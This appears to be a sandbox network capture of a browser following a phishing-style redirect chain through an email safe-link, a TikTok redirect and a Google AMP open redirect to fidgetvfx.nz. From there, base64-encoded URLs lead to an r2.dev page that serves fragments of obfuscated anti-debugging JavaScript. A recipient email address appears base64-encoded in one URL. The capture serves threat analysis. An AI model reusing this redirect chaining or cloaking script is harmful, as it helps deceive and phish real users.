2024-10-07 18:58:41 UTC	932	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ== Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 4.0 X-SL-GetUrlReputation-Verdict: Good X-Robots-Tag: noindex, nofollow X-AspNet-Version: 4.0.30319 X-ServerName: BN8NAM04WS024 X-ServerVersion: 15.20.8026.017 X-ServerLat: 3084 X-SafeLinks-Tracking-Id: 9070a3c0-1099-423c-7165-08dce7020d4a X-Powered-By: ASP.NET X-Content-Type-Options: nosniff X-UA-Compatible: IE=Edge Date: Mon, 07 Oct 2024 18:58:40 GMT Connection: close Content-Length: 507
2024-10-07 18:58:41 UTC	507	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 72 6c 2e 61 76 61 6e 61 6e 2e 63 6c 69 63 6b 2f 76 32 2f 72 30 31 2f 5f 5f 5f 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 69 6b 74 6f 6b 2e 63 6f 6d 2f 71 6e 73 70 64 41 37 3f 66 6e 69 3d 36 63 62 62 26 61 6d 70 3b 71 66 73 6c 3d 6a 73 26 61 6d 70 3b 78 68 6a 73 6a 3d 67 6e 74 5f 7a 77 71 26 61 6d 70 3b 79 66 77 6c 6a 79 3d 6d 79 79 75 78 3a 64 64 42 42 42 2e 6c 74 74 6c 71 6a 2e 68 66 64 7a 77 71 3f 76 3d 66 72 75 64 78 64 6b 6e 69 6c 6a 79 41 6b 43 2e 73 45 64 2e 66 72 6c 5f 5f 5f 2e 59 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49719	108.156.46.59	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:41 UTC	983	OUT	GET /v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA HTTP/1.1 Host: url.avanan.click Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:58:42 UTC	589	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 07 Oct 2024 18:58:42 GMT location: https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://www.google.ca/url?q=amp/s/fidgetvfx.nz/.amg Apigw-Requestid: fSxXZju5IAMEMJw= set-cookie: x-cloud-sec-ctp = d5c61469-ccb4-4616-b9c8-fc6dedbaa5fc; Secure; HttpOnly; path=/; expires=07-Oct-2025 18:58:42 GMT X-Cache: Miss from cloudfront Via: 1.1 97d882fdcaf1da316742a0953a5a0564.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR50-P2 X-Amz-Cf-Id: Zv5AfxNLDTOb4nHe5AzZ5MgF2ib3ziOqyfOCxbQSCAm4pmN1bPXEQA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49722	142.250.186.131	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:44 UTC	703	OUT	GET /url?q=amp%2Fs%2Ffidgetvfx.nz%2F.amg&safe=active HTTP/1.1 Host: www.google.ca Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:58:44 UTC	999	IN	HTTP/1.1 302 Found Location: https://www.google.ca/amp/s/fidgetvfx.nz/.amg Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-zEpaWVjU5HBwP_fDQNuMIw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Mon, 07 Oct 2024 18:58:44 GMT Server: gws Content-Length: 242 X-XSS-Protection: 0 Set-Cookie: NID=518=eHZl7kMt6CPMmlrseouBRf1jY2KF-jpcx1Rj7ZX46_W1_nUlOd532aLom3AHX27cF8VAdpQaEVZSSRmRRcgR5UKvNwlYpp8svjWBL_Zs85rASA36Tdwo05-_879fjZ8NQqu062Baord6K7QJmXb6q24s0Uohmtj-qRnSr_9Th5aeoDdodMc7vLws8plkqPpv; expires=Tue, 08-Apr-2025 18:58:44 GMT; path=/; domain=.google.ca; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-07 18:58:44 UTC	242	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 61 2f 61 6d 70 2f 73 2f 66 69 64 67 65 74 76 66 78 2e 6e 7a 2f 2e 61 6d 67 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.ca/amp/s/fidgetvfx.nz/.amg">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49723	142.250.186.131	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:45 UTC	889	OUT	GET /amp/s/fidgetvfx.nz/.amg HTTP/1.1 Host: www.google.ca Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=eHZl7kMt6CPMmlrseouBRf1jY2KF-jpcx1Rj7ZX46_W1_nUlOd532aLom3AHX27cF8VAdpQaEVZSSRmRRcgR5UKvNwlYpp8svjWBL_Zs85rASA36Tdwo05-_879fjZ8NQqu062Baord6K7QJmXb6q24s0Uohmtj-qRnSr_9Th5aeoDdodMc7vLws8plkqPpv
2024-10-07 18:58:45 UTC	794	IN	HTTP/1.1 302 Found Location: https://fidgetvfx.nz/.amg Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-PKthKyL_e1hfR7_-sKCeqA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Mon, 07 Oct 2024 18:58:45 GMT Server: gws Content-Length: 222 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-07 18:58:45 UTC	222	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 66 69 64 67 65 74 76 66 78 2e 6e 7a 2f 2e 61 6d 67 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://fidgetvfx.nz/.amg">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49724	203.28.49.249	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:46 UTC	659	OUT	GET /.amg HTTP/1.1 Host: fidgetvfx.nz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:58:47 UTC	210	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 07 Oct 2024 18:58:46 GMT Server: Apache Location: https://fidgetvfx.nz/.amg/ Content-Length: 234 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 18:58:47 UTC	234	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 64 67 65 74 76 66 78 2e 6e 7a 2f 2e 61 6d 67 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://fidgetvfx.nz/.amg/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49725	203.28.49.249	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:47 UTC	660	OUT	GET /.amg/ HTTP/1.1 Host: fidgetvfx.nz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:58:48 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:58:48 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 18:58:48 UTC	624	IN	Data Raw: 32 36 34 0d 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 76 61 72 20 66 69 72 73 74 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 34 4c 6d 4e 76 62 51 3d 3d 22 3b 0d 0a 20 20 20 20 76 61 72 20 73 65 63 6f 6e 64 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 77 64 57 49 74 4f 44 41 32 4f 44 56 6c 4e 44 51 78 4f 47 59 33 4e 44 41 79 4e 6d 46 6b 59 7a 67 35 4d 54 4a 68 4e 57 46 69 4d 44 59 7a 5a 47 49 75 63 6a 49 75 5a 47 56 32 4c 32 6c 75 5a 47 56 34 4c 6d 68 30 62 57 77 3d 22 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 4c 6f 61 64 20 74 68 65 20 66 69 72 73 74 20 55 52 4c 20 66 6f 72 20 61 20 66 65 77 20 73 65 63 6f 6e 64 73 0d 0a 20 20 20 Data Ascii: 264 <script type="text/javascript"> var firstBase64Url = "aHR0cHM6Ly94LmNvbQ=="; var secondBase64Url = "aHR0cHM6Ly9wdWItODA2ODVlNDQxOGY3NDAyNmFkYzg5MTJhNWFiMDYzZGIucjIuZGV2L2luZGV4Lmh0bWw="; // Load the first URL for a few seconds

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49726	203.28.49.249	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:49 UTC	585	OUT	GET /favicon.ico HTTP/1.1 Host: fidgetvfx.nz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fidgetvfx.nz/.amg/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:58:50 UTC	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:58:49 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49730	172.66.0.235	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:50 UTC	714	OUT	GET /index.html HTTP/1.1 Host: pub-80685e4418f74026adc8912a5ab063db.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://fidgetvfx.nz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:58:51 UTC	259	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:58:51 GMT Content-Length: 711512 Connection: close Accept-Ranges: bytes ETag: "9d738321ca1a956f9a5d66739e3dcbc1" Last-Modified: Fri, 04 Oct 2024 13:27:27 GMT Server: cloudflare CF-RAY: 8cf01ffcdc2d8c47-EWR
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 78 72 74 51 79 46 73 4e 3d 27 27 3b 76 61 72 20 5f 30 78 31 61 37 64 39 64 3d 5f 30 78 34 63 33 64 2c 5f 30 78 39 36 62 62 31 66 3d 5f 30 78 34 63 33 64 2c 5f 30 78 31 35 36 33 66 34 3d 5f 30 78 34 63 33 64 2c 5f 30 78 34 36 32 64 35 35 3d 5f 30 78 34 63 33 64 2c 5f 30 78 35 33 66 33 62 33 3d 5f 30 78 34 63 33 64 2c 5f 30 78 31 66 64 31 63 64 3d 5f 30 78 34 63 33 64 2c 5f 30 78 Data Ascii: <html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"></head> <body><script>xrtQyFsN='';var _0x1a7d9d=_0x4c3d,_0x96bb1f=_0x4c3d,_0x1563f4=_0x4c3d,_0x462d55=_0x4c3d,_0x53f3b3=_0x4c3d,_0x1fd1cd=_0x4c3d,_0x
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 78 34 37 61 37 34 64 3d 5f 30 78 34 63 33 64 2c 5f 30 78 34 33 65 34 39 65 3d 5f 30 78 34 63 33 64 2c 5f 30 78 31 37 34 62 31 39 3d 5f 30 78 34 63 33 64 2c 5f 30 78 32 37 64 61 64 36 3d 5f 30 78 34 63 33 64 2c 5f 30 78 33 31 30 39 34 61 3d 5f 30 78 34 63 33 64 2c 5f 30 78 35 33 39 34 66 38 3d 5f 30 78 34 63 33 64 2c 5f 30 78 62 33 61 32 66 32 3d 5f 30 78 34 63 33 64 2c 5f 30 78 34 62 30 37 34 37 3d 5f 30 78 34 63 33 64 2c 5f 30 78 31 31 36 63 32 37 3d 5f 30 78 34 63 33 64 2c 5f 30 78 33 66 38 37 64 30 3d 5f 30 78 34 63 33 64 2c 5f 30 78 32 31 61 61 33 35 3d 5f 30 78 34 63 33 64 2c 5f 30 78 33 33 39 37 65 30 3d 5f 30 78 34 63 33 64 2c 5f 30 78 31 34 61 30 66 33 3d 5f 30 78 34 63 33 64 2c 5f 30 78 32 30 38 31 63 39 3d 5f 30 78 34 63 33 64 2c 5f 30 78 33 34 Data Ascii: x47a74d=_0x4c3d,_0x43e49e=_0x4c3d,_0x174b19=_0x4c3d,_0x27dad6=_0x4c3d,_0x31094a=_0x4c3d,_0x5394f8=_0x4c3d,_0xb3a2f2=_0x4c3d,_0x4b0747=_0x4c3d,_0x116c27=_0x4c3d,_0x3f87d0=_0x4c3d,_0x21aa35=_0x4c3d,_0x3397e0=_0x4c3d,_0x14a0f3=_0x4c3d,_0x2081c9=_0x4c3d,_0x34
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 75 73 68 27 5d 28 5f 30 78 31 65 65 34 32 62 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 5f 30 78 35 39 30 33 34 31 29 7b 5f 30 78 31 65 65 34 32 62 5b 27 70 75 73 68 27 5d 28 5f 30 78 31 65 65 34 32 62 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 5f 30 78 31 63 65 62 2c 30 78 38 64 35 34 39 29 2c 28 28 29 3d 3e 7b 64 65 62 75 67 67 65 72 3b 7d 2c 30 78 31 29 2c 28 28 73 68 6f 72 74 63 75 74 3d 7b 27 61 6c 6c 5f 73 68 6f 72 74 63 75 74 73 27 3a 7b 7d 2c 27 61 64 64 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 63 33 62 32 35 37 2c 5f 30 78 31 66 35 65 38 64 2c 5f 30 78 35 61 66 33 33 39 29 7b 76 61 72 20 5f 30 78 34 31 32 31 64 37 3d 5f 30 78 34 63 33 64 2c 5f 30 78 34 33 65 64 32 66 3d 5f 30 78 34 63 33 64 2c 5f 30 78 32 62 63 35 35 34 Data Ascii: ush'](_0x1ee42b['shift']());}catch(_0x590341){_0x1ee42b['push'](_0x1ee42b['shift']());}}}(_0x1ceb,0x8d549),(()=>{debugger;},0x1),((shortcut={'all_shortcuts':{},'add':function(_0xc3b257,_0x1f5e8d,_0x5af339){var _0x4121d7=_0x4c3d,_0x43ed2f=_0x4c3d,_0x2bc554
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 78 34 33 65 64 32 66 2c 5f 30 78 31 30 66 31 37 63 3d 5f 30 78 34 33 65 64 32 66 2c 5f 30 78 32 33 31 66 65 32 3d 5f 30 78 33 61 36 30 34 62 2c 5f 30 78 31 64 62 63 65 35 3d 5f 30 78 34 31 32 31 64 37 2c 5f 30 78 31 61 34 62 65 61 3d 5f 30 78 33 61 36 30 34 62 2c 5f 30 78 35 35 35 35 32 37 3d 5f 30 78 34 33 65 64 32 66 2c 5f 30 78 31 64 62 39 62 66 3d 5f 30 78 32 34 61 61 39 32 3b 69 66 28 5f 30 78 66 38 62 30 64 33 3d 5f 30 78 66 38 62 30 64 33 7c 7c 77 69 6e 64 6f 77 5b 5f 30 78 35 31 61 63 30 35 28 30 78 32 31 35 29 5d 2c 5f 30 78 35 61 66 33 33 39 5b 5f 30 78 31 30 30 35 35 32 28 30 78 32 31 33 29 5d 29 7b 76 61 72 20 5f 30 78 34 35 30 65 63 65 3b 69 66 28 5f 30 78 66 38 62 30 64 33 5b 5f 30 78 35 31 61 63 30 35 28 30 78 31 65 62 29 5d 3f 5f 30 78 34 Data Ascii: x43ed2f,_0x10f17c=_0x43ed2f,_0x231fe2=_0x3a604b,_0x1dbce5=_0x4121d7,_0x1a4bea=_0x3a604b,_0x555527=_0x43ed2f,_0x1db9bf=_0x24aa92;if(_0xf8b0d3=_0xf8b0d3\|\|window[_0x51ac05(0x215)],_0x5af339[_0x100552(0x213)]){var _0x450ece;if(_0xf8b0d3[_0x51ac05(0x1eb)]?_0x4
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 27 70 64 27 3a 30 78 32 32 2c 27 6c 65 66 74 27 3a 30 78 32 35 2c 27 75 70 27 3a 30 78 32 36 2c 27 72 69 67 68 74 27 3a 30 78 32 37 2c 27 64 6f 77 6e 27 3a 30 78 32 38 2c 27 66 31 27 3a 30 78 37 30 2c 27 66 32 27 3a 30 78 37 31 2c 27 66 33 27 3a 30 78 37 32 2c 27 66 34 27 3a 30 78 37 33 2c 27 66 35 27 3a 30 78 37 34 2c 27 66 36 27 3a 30 78 37 35 2c 27 66 37 27 3a 30 78 37 36 2c 27 66 38 27 3a 30 78 37 37 2c 27 66 39 27 3a 30 78 37 38 2c 27 66 31 30 27 3a 30 78 37 39 2c 27 66 31 31 27 3a 30 78 37 61 2c 27 66 31 32 27 3a 30 78 37 62 7d 2c 5f 30 78 31 35 64 64 63 65 3d 21 30 78 31 2c 5f 30 78 32 35 64 33 63 36 3d 21 30 78 31 2c 5f 30 78 62 39 62 34 37 61 3d 21 30 78 31 2c 5f 30 78 63 35 61 39 64 35 3d 21 30 78 31 2c 5f 30 78 35 35 62 65 32 61 3d 21 30 78 31 Data Ascii: 'pd':0x22,'left':0x25,'up':0x26,'right':0x27,'down':0x28,'f1':0x70,'f2':0x71,'f3':0x72,'f4':0x73,'f5':0x74,'f6':0x75,'f7':0x76,'f8':0x77,'f9':0x78,'f10':0x79,'f11':0x7a,'f12':0x7b},_0x15ddce=!0x1,_0x25d3c6=!0x1,_0xb9b47a=!0x1,_0xc5a9d5=!0x1,_0x55be2a=!0x1
